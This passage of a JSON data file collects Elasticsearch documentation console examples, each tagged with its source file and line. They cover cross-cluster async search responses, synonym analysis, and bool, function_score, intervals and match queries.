1,\n \"hits\": [\n {\n \"_index\": \"cluster_one:my-index-000001\", <6>\n \"_id\": \"0\",\n \"_score\": 1,\n \"_source\": {\n \"user\": {\n \"id\": \"kimchy\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"http\": {\n \"response\":\n {\n \"status_code\": 200\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":243},"digest":"819e00cc6547d925d80090b94e0650d7","lang":"console","found":["ruby"],"source":"GET /my-index-000001,cluster_one:my-index-000001,cluster_two:my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":259},"digest":"8eebbde9aeb5f2e981864dd9fc7d82cc","lang":"console-result","found":[],"source":"{\n \"took\": 150,\n \"timed_out\": false,\n \"num_reduce_phases\": 4,\n \"_shards\": {\n \"total\": 28,\n \"successful\": 28,\n \"failed\": 0,\n \"skipped\": 0\n },\n \"_clusters\": {\n \"total\": 3,\n \"successful\": 3,\n \"skipped\": 0,\n \"running\": 0,\n \"partial\": 0,\n \"failed\": 0,\n \"details\": {\n \"(local)\": { <1>\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 21,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 48,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 12,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_two\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 141,\n \"timed_out\": false,\n \"_shards\": {\n \"total\" : 6,\n \"successful\" : 6,\n \"skipped\": 0,\n \"failed\": 0\n }\n }\n }\n },\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": 1,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\", <2>\n \"_id\": \"0\",\n \"_score\": 2,\n \"_source\": {\n \"user\": {\n \"id\": \"kimchy\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"http\": {\n \"response\":\n {\n \"status_code\": 200\n }\n }\n }\n },\n {\n \"_index\": \"cluster_one:my-index-000001\", <3>\n \"_id\": \"0\",\n \"_score\": 1,\n \"_source\": {\n \"user\": {\n \"id\": \"kimchy\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"http\": {\n \"response\":\n {\n \"status_code\": 200\n }\n }\n }\n },\n {\n \"_index\": \"cluster_two:my-index-000001\", <4>\n \"_id\": \"0\",\n \"_score\": 1,\n \"_source\": {\n \"user\": {\n \"id\": \"kimchy\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"http\": {\n \"response\":\n {\n \"status_code\": 200\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":414},"digest":"ab1372270c11bcd6f36d1a13e6c69276","lang":"console","found":["ruby"],"source":"POST /my-index-000001,cluster_one:my-index-000001,cluster_two:my-index-000001/_async_search?ccs_minimize_roundtrips=true\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":432},"digest":"1f887455ce067d4e546ce18f0705dab1","lang":"console-result","found":[],"source":"{\n \"id\": \"FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU=\", <1>\n \"is_partial\": true,\n \"is_running\": true,\n \"start_time_in_millis\": 1685563581380,\n \"expiration_time_in_millis\": 1685995581380,\n \"response\": {\n \"took\": 1020,\n \"timed_out\": false,\n \"num_reduce_phases\": 0,\n \"_shards\": {\n \"total\": 10, <2>\n \"successful\": 0,\n \"failed\": 0,\n \"skipped\": 0\n },\n \"_clusters\": { <3>\n \"total\" : 3,\n \"successful\" : 0,\n \"skipped\": 0,\n \"running\": 3,\n \"partial\": 0,\n \"failed\": 0,\n \"details\": {\n \"(local)\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false\n },\n \"cluster_one\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false\n },\n \"cluster_one\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false\n }\n }\n },\n \"hits\": {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":512},"digest":"2897ccc2a3bf3d0cd89328ee4413fae5","lang":"console","found":["ruby"],"source":"GET /_async_search/FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU="}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":520},"digest":"a2ea4a8a99f99fb771bc88efdd6ecf72","lang":"console-result","found":[],"source":"{\n \"id\": \"FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU=\",\n \"is_partial\": true,\n \"is_running\": true,\n \"start_time_in_millis\": 1685564911108,\n \"expiration_time_in_millis\": 1685996911108,\n \"response\": {\n \"took\": 11164,\n \"timed_out\": false,\n \"terminated_early\": false,\n \"_shards\": {\n \"total\": 22,\n \"successful\": 22, <1>\n \"skipped\": 0,\n \"failed\": 0\n },\n \"_clusters\": {\n \"total\": 3,\n \"successful\": 2, <2>\n \"skipped\": 0,\n \"running\": 1,\n \"partial\": 0,\n \"failed\": 0,\n \"details\": {\n \"(local)\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 2034,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 9039,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 12,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_two\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false\n }\n }\n },\n \"hits\": {\n \"total\": {\n \"value\": 542, <3>\n \"relation\": \"eq\"\n },\n \"max_score\": 1.7232,\n \"hits\": [...list of hits here...] <4>\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":605},"digest":"2897ccc2a3bf3d0cd89328ee4413fae5","lang":"console","found":["ruby"],"source":"GET /_async_search/FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU="}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":614},"digest":"1cd8c7574adc4e8cff813d79835aa869","lang":"console-result","found":[],"source":"{\n \"id\": \"FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU=\",\n \"is_partial\": false,\n \"is_running\": false,\n \"start_time_in_millis\": 1685564911108,\n \"expiration_time_in_millis\": 1685996911108,\n \"completion_time_in_millis\": 1685564938727, <1>\n \"response\": {\n \"took\": 27619,\n \"timed_out\": false,\n \"num_reduce_phases\": 4,\n \"_shards\": {\n \"total\": 28,\n \"successful\": 28, <2>\n \"skipped\": 0,\n \"failed\": 0\n },\n \"_clusters\": {\n \"total\": 3,\n \"successful\": 3, <3>\n \"skipped\": 0,\n \"running\": 0,\n \"partial\": 0,\n \"failed\": 0,\n \"details\": {\n \"(local)\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 2034,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 9039,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 12,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_two\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 27550,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 6,\n \"successful\": 6,\n \"skipped\": 0,\n \"failed\": 0\n }\n }\n }\n },\n \"hits\": {\n \"total\": {\n \"value\": 1067,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.8293576,\n \"hits\": [...list of hits here...]\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":742},"digest":"8f7936f219500305e5b2518dbbf949ea","lang":"console","found":["ruby"],"source":"GET /_async_search/status/FmpwbThueVB4UkRDeUxqb1l4akIza3cbWEJyeVBPQldTV3FGZGdIeUVabXBldzoyMDIw"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":751},"digest":"b82e746762d085085b111c9f08e19932","lang":"console-result","found":[],"source":"{\n \"id\": \"FmpwbThueVB4UkRDeUxqb1l4akIza3cbWEJyeVBPQldTV3FGZGdIeUVabXBldzoyMDIw\",\n \"is_partial\": true, <1>\n \"is_running\": false,\n \"start_time_in_millis\": 1692106901478,\n \"expiration_time_in_millis\": 1692538901478,\n \"completion_time_in_millis\": 1692106903547,\n \"response\": {\n \"took\": 2069,\n \"timed_out\": false,\n \"num_reduce_phases\": 4,\n \"_shards\": {\n \"total\": 28,\n \"successful\": 27,\n \"skipped\": 0,\n \"failed\": 1,\n \"failures\": [ <2>\n {\n \"shard\": 1,\n \"index\": \"cluster_two:my-index-000001\",\n \"node\": \"LMpUnAu0QEeCUMfg_56sAg\",\n \"reason\": {\n \"type\": \"query_shard_exception\",\n \"reason\": \"failed to create query: [my-index-000001][1] exception message here\",\n \"index_uuid\": \"4F2VWx8RQSeIhUE-nksvCQ\",\n \"index\": \"cluster_two:my-index-000001\",\n \"caused_by\": {\n \"type\": \"runtime_exception\",\n \"reason\": \"runtime_exception: [my-index-000001][1] exception message here\"\n }\n }\n }\n ]\n },\n \"_clusters\": {\n \"total\": 3,\n \"successful\": 2,\n \"skipped\": 0,\n \"running\": 0,\n \"partial\": 1, <3>\n \"failed\": 0,\n \"details\": {\n \"(local)\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 1753,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 2054,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 12,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_two\": {\n \"status\": \"partial\", <4>\n \"indices\": \"my-index-000001\",\n \"took\": 2039,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 6,\n \"successful\": 5,\n \"skipped\": 0,\n \"failed\": 1 <5>\n },\n \"failures\": [ <6>\n {\n \"shard\": 1,\n \"index\": \"cluster_two:my-index-000001\",\n \"node\": \"LMpUnAu0QEeCUMfg_56sAg\",\n \"reason\": {\n \"type\": \"query_shard_exception\",\n \"reason\": \"failed to create query: [my-index-000001][1] exception message here\",\n \"index_uuid\": \"4F2VWx8RQSeIhUE-nksvCQ\",\n \"index\": \"cluster_two:my-index-000001\",\n \"caused_by\": {\n \"type\": \"runtime_exception\",\n \"reason\": \"runtime_exception: [my-index-000001][1] exception message here\"\n }\n }\n }\n ]\n }\n }\n },\n \"hits\": {\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":877},"digest":"571314a948e49f1f9614d36fcf79392a","lang":"console","found":["ruby"],"source":"GET /_async_search/FjktRGJ1Y2w1U0phLTRhZnVyeUZ2MVEbWEJyeVBPQldTV3FGZGdIeUVabXBldzo5NzA4"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":886},"digest":"1d9e4a0fd9830db82d96742e887d7e91","lang":"console-result","found":[],"source":"{\n \"id\": \"FjktRGJ1Y2w1U0phLTRhZnVyeUZ2MVEbWEJyeVBPQldTV3FGZGdIeUVabXBldzo5NzA4\",\n \"is_partial\": true,\n \"is_running\": false,\n \"start_time_in_millis\": 1692112102650,\n \"expiration_time_in_millis\": 1692544102650,\n \"completion_time_in_millis\": 1692112106177,\n \"response\": {\n \"took\": 3527,\n \"timed_out\": false,\n \"terminated_early\": false,\n \"_shards\": {\n \"total\": 10, <1>\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"_clusters\": {\n \"total\": 3,\n \"successful\": 1,\n \"skipped\": 1,\n \"running\": 0,\n \"partial\": 0,\n \"failed\": 1,\n \"details\": {\n \"(local)\": {\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\",\n \"took\": 1473,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 10,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"skipped\", <2>\n \"indices\": \"my-index-000001\",\n \"timed_out\": false,\n \"failures\": [\n {\n \"shard\": -1,\n \"index\": null,\n \"reason\": {\n \"type\": \"node_disconnected_exception\", <3>\n \"reason\": \"[myhostname1][35.238.149.1:9300][indices:data/read/search] disconnected\"\n }\n }\n ]\n },\n \"cluster_two\": {\n \"status\": \"failed\", <4>\n \"indices\": \"my-index-000001\",\n \"timed_out\": false,\n \"failures\": [\n {\n \"shard\": -1,\n \"index\": null,\n \"reason\": {\n \"type\": \"node_disconnected_exception\",\n \"reason\": \"[myhostname2][35.238.149.2:9300][indices:data/read/search] disconnected\"\n }\n }\n ]\n }\n }\n },\n \"hits\": {\n },\n }\n \"error\": { <5>\n \"type\": \"status_exception\",\n \"reason\": \"error while executing search\",\n \"caused_by\": {\n \"type\": \"node_disconnected_exception\",\n \"reason\": \"[myhostname2][35.238.149.2:9300][indices:data/read/search] disconnected\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":1004},"digest":"0ca6aae1ab2f0be6127beea8a245374e","lang":"console","found":[],"source":"POST /my-index-000001,cluster*:my-index-000001,-cluster_three:*/_async_search <1>\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":1030},"digest":"55d349ccb0efd5e1c06c6dd383a593cf","lang":"console","found":[],"source":"POST /my-index-000001,cluster*:my-index-*,cluster_three:-my-index-000001/_async_search <1>\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":1073},"digest":"5597eeb8f43b5d47bd07f27122c24194","lang":"console","found":[],"source":"POST /my-index-000001,cluster_one:my-index-000001,cluster_two:my-index-000001/_async_search?ccs_minimize_roundtrips=false\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":1092},"digest":"939932cf4a4d55c1e1d91859252586ca","lang":"console-result","found":[],"source":"{\n \"id\": \"FklQYndoTDJ2VEFlMEVBTzFJMGhJVFEaLVlKYndBWWZSMUdicUc4WVlEaFl4ZzoxNTU=\",\n \"is_partial\": true,\n \"is_running\": true,\n \"start_time_in_millis\": 1685563581380,\n \"expiration_time_in_millis\": 1685995581380,\n \"response\": {\n \"took\": 1020,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 28, <1>\n \"successful\": 0,\n \"failed\": 0,\n \"skipped\": 0\n },\n \"_clusters\": {\n \"total\" : 3,\n \"successful\": 0,\n \"skipped\": 0,\n \"running\": 3, <2>\n \"partial\": 0,\n \"failed\": 0,\n \"details\": { <3>\n \"(local)\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 10,\n \"successful\": 0,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_one\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 0,\n \"skipped\": 0,\n \"failed\": 0\n }\n },\n \"cluster_two\": {\n \"status\": \"running\",\n \"indices\": \"my-index-000001\",\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 6,\n \"successful\": 0,\n \"skipped\": 0,\n \"failed\": 0\n }\n }\n }\n },\n \"hits\": {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":1203},"digest":"9949bcc64c9cd6f4041819546d7fce78","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.remote.cluster_two.skip_unavailable\": true\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-with-synonyms.asciidoc","line":101},"digest":"6edfc35a66afd9b884431fccf48fdbf5","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\" : [\n \"lowercase\",\n {\n \"type\": \"synonym_graph\",\n \"synonyms\": [\"pc => personal computer\", \"computer, pc, laptop\"]\n }\n ],\n \"text\" : \"Check how PC synonyms work\"\n}"}, {"source_location":{"file":"query-dsl/query_filter_context.asciidoc","line":62},"digest":"f29a28fffa7ec604a33a838f48f7ea79","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": { <1>\n \"bool\": { <2>\n \"must\": [\n { \"match\": { \"title\": \"Search\" }},\n { \"match\": { \"content\": \"Elasticsearch\" }}\n ],\n \"filter\": [ <3>\n { \"term\": { \"status\": \"published\" }},\n { \"range\": { \"publish_date\": { \"gte\": \"2015-01-01\" }}}\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":36},"digest":"f8a0010753b1ff563dc42d703902d2fa","lang":"console","found":["python","ruby"],"source":"POST _search\n{\n \"query\": {\n \"bool\" : {\n \"must\" : {\n \"term\" : { \"user.id\" : \"kimchy\" }\n },\n \"filter\": {\n \"term\" : { \"tags\" : \"production\" }\n },\n \"must_not\" : {\n \"range\" : {\n \"age\" : { \"gte\" : 10, \"lte\" : 20 }\n }\n },\n \"should\" : [\n { \"term\" : { \"tags\" : \"env1\" } },\n { \"term\" : { \"tags\" : \"deployed\" } }\n ],\n \"minimum_should_match\" : 1,\n \"boost\" : 1.0\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":88},"digest":"f70a54cd9a9f4811bf962e469f2ca2ea","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _search\n{\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": {\n \"status\": \"active\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":107},"digest":"fa88f6f5a7d728ec4f1d05244228cb09","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"term\": {\n \"status\": \"active\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":130},"digest":"162b5b693b713f0bfab1209d59443c46","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"term\": {\n \"status\": \"active\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":156},"digest":"13d90ba227131aefbf4fcfd5992e662a","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n { \"match\": { \"name.first\": { \"query\": \"shay\", \"_name\": \"first\" } } },\n { \"match\": { \"name.last\": { \"query\": \"banon\", \"_name\": \"last\" } } }\n ],\n \"filter\": {\n \"terms\": {\n \"name.last\": [ \"banon\", \"kimchy\" ],\n \"_name\": \"test\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/bool-query.asciidoc","line":184},"digest":"39ce44333d28ed2b833722d3e3cb06f3","lang":"console","found":["python","ruby"],"source":"GET /_search?include_named_queries_score\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n { \"match\": { \"name.first\": { \"query\": \"shay\", \"_name\": \"first\" } } },\n { \"match\": { \"name.last\": { \"query\": \"banon\", \"_name\": \"last\" } } }\n ],\n \"filter\": {\n \"terms\": {\n \"name.last\": [ \"banon\", \"kimchy\" ],\n \"_name\": \"test\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/boosting-query.asciidoc","line":18},"digest":"3487e60e1ae9d4925ce540cd63574385","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"boosting\": {\n \"positive\": {\n \"term\": {\n \"text\": \"apple\"\n }\n },\n \"negative\": {\n \"term\": {\n \"text\": \"pie tart fruit crumble tree\"\n }\n },\n \"negative_boost\": 0.5\n }\n }\n}"}, {"source_location":{"file":"query-dsl/constant-score-query.asciidoc","line":12},"digest":"4053de806dfd9172167999ce098107c4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"term\": { \"user.id\": \"kimchy\" }\n },\n \"boost\": 1.2\n }\n }\n}"}, {"source_location":{"file":"query-dsl/dis-max-query.asciidoc","line":18},"digest":"c580092fd3d36c32b09d63921708a67b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"dis_max\": {\n \"queries\": [\n { \"term\": { \"title\": \"Quick pets\" } },\n { \"term\": { \"body\": \"Quick pets\" } }\n ],\n \"tie_breaker\": 0.7\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":19},"digest":"eff2fc92d46eb3c8f4d424eed18f54a2","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": { \"match_all\": {} },\n \"boost\": \"5\",\n \"random_score\": {}, <1>\n \"boost_mode\": \"multiply\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":41},"digest":"edcfadbfb14d97a2f5e6e21ef7039818","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": { \"match_all\": {} },\n \"boost\": \"5\", <1>\n \"functions\": [\n {\n \"filter\": { \"match\": { \"test\": \"bar\" } },\n \"random_score\": {}, <2>\n \"weight\": 23\n },\n {\n \"filter\": { \"match\": { \"test\": \"cat\" } },\n \"weight\": 42\n }\n ],\n \"max_boost\": 42,\n \"score_mode\": \"max\",\n \"boost_mode\": \"multiply\",\n \"min_score\": 42\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":137},"digest":"6c00dae1a456ae5e854e98e895dca2ab","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": {\n \"match\": { \"message\": \"elasticsearch\" }\n },\n \"script_score\": {\n \"script\": {\n \"source\": \"Math.log(2 + doc['my-int'].value)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":175},"digest":"996f320a0f537c24b9cd0d71b5f7c1f8","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": {\n \"match\": { \"message\": \"elasticsearch\" }\n },\n \"script_score\": {\n \"script\": {\n \"params\": {\n \"a\": 5,\n \"b\": 1.2\n },\n \"source\": \"params.a / Math.pow(params.b, doc['my-int'].value)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":241},"digest":"fad524db23eb5718ff310956e590b00d","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"random_score\": {\n \"seed\": 10,\n \"field\": \"_seq_no\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":269},"digest":"1153bd92ca18356db927054958cd95c6","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"field_value_factor\": {\n \"field\": \"my-int\",\n \"factor\": 1.2,\n \"modifier\": \"sqrt\",\n \"missing\": 1\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":380},"digest":"4f3366fc26e7ea4de446dfa5cdec9683","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"gauss\": {\n \"@timestamp\": {\n \"origin\": \"2013-09-17\", <1>\n \"scale\": \"10d\",\n \"offset\": \"5d\", <2>\n \"decay\": 0.5 <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/function-score-query.asciidoc","line":578},"digest":"5c6fbeac20dc23b613847f35d431ecab","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"function_score\": {\n \"functions\": [\n {\n \"gauss\": {\n \"price\": {\n \"origin\": \"0\",\n \"scale\": \"20\"\n }\n }\n },\n {\n \"gauss\": {\n \"location\": {\n \"origin\": \"11, 12\",\n \"scale\": \"2km\"\n }\n }\n }\n ],\n \"query\": {\n \"match\": {\n \"properties\": \"balcony\"\n }\n },\n \"score_mode\": \"multiply\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":28},"digest":"807c0c9763f8c1114b3c8278c2a0cb56","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"all_of\" : {\n \"ordered\" : true,\n \"intervals\" : [\n {\n \"match\" : {\n \"query\" : \"my favorite food\",\n \"max_gaps\" : 0,\n \"ordered\" : true\n }\n },\n {\n \"any_of\" : {\n \"intervals\" : [\n { \"match\" : { \"query\" : \"hot water\" } },\n { \"match\" : { \"query\" : \"cold porridge\" } }\n ]\n }\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":312},"digest":"7471e97aaaf21c3a200abdd89f15c3cc","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"match\" : {\n \"query\" : \"hot porridge\",\n \"max_gaps\" : 10,\n \"filter\" : {\n \"not_containing\" : {\n \"match\" : {\n \"query\" : \"salty\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":343},"digest":"2de6885bacb8769b8f22dce253c96b0c","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"match\" : {\n \"query\" : \"hot porridge\",\n \"filter\" : {\n \"script\" : {\n \"source\" : \"interval.start > 10 && interval.end < 20 && interval.gaps == 0\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":374},"digest":"e2a22c6fd58cc0becf4c383134a08f8b","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"match\" : {\n \"query\" : \"salty\",\n \"filter\" : {\n \"contained_by\" : {\n \"match\" : {\n \"query\" : \"hot porridge\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":409},"digest":"5f79c42b0f74fdf71359cef82843fad3","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"all_of\" : {\n \"intervals\" : [\n { \"match\" : { \"query\" : \"the\" } },\n { \"any_of\" : {\n \"intervals\" : [\n { \"match\" : { \"query\" : \"big\" } },\n { \"match\" : { \"query\" : \"big bad\" } }\n ] } },\n { \"match\" : { \"query\" : \"wolf\" } }\n ],\n \"max_gaps\" : 0,\n \"ordered\" : true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/intervals-query.asciidoc","line":442},"digest":"e7811867397b305efbbe8925d8a01c1a","lang":"console","found":["ruby"],"source":"POST _search\n{\n \"query\": {\n \"intervals\" : {\n \"my_text\" : {\n \"any_of\" : {\n \"intervals\" : [\n { \"match\" : {\n \"query\" : \"the big bad wolf\",\n \"ordered\" : true,\n \"max_gaps\" : 0 } },\n { \"match\" : {\n \"query\" : \"the big wolf\",\n \"ordered\" : true,\n \"max_gaps\" : 0 } }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":18},"digest":"4c3db8987d7b2d3d3df78ff1e71e7ede","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"message\": {\n \"query\": \"this is a test\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":161},"digest":"ac497917ef707538198a8458ae3d5c6b","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"this is a test\"\n 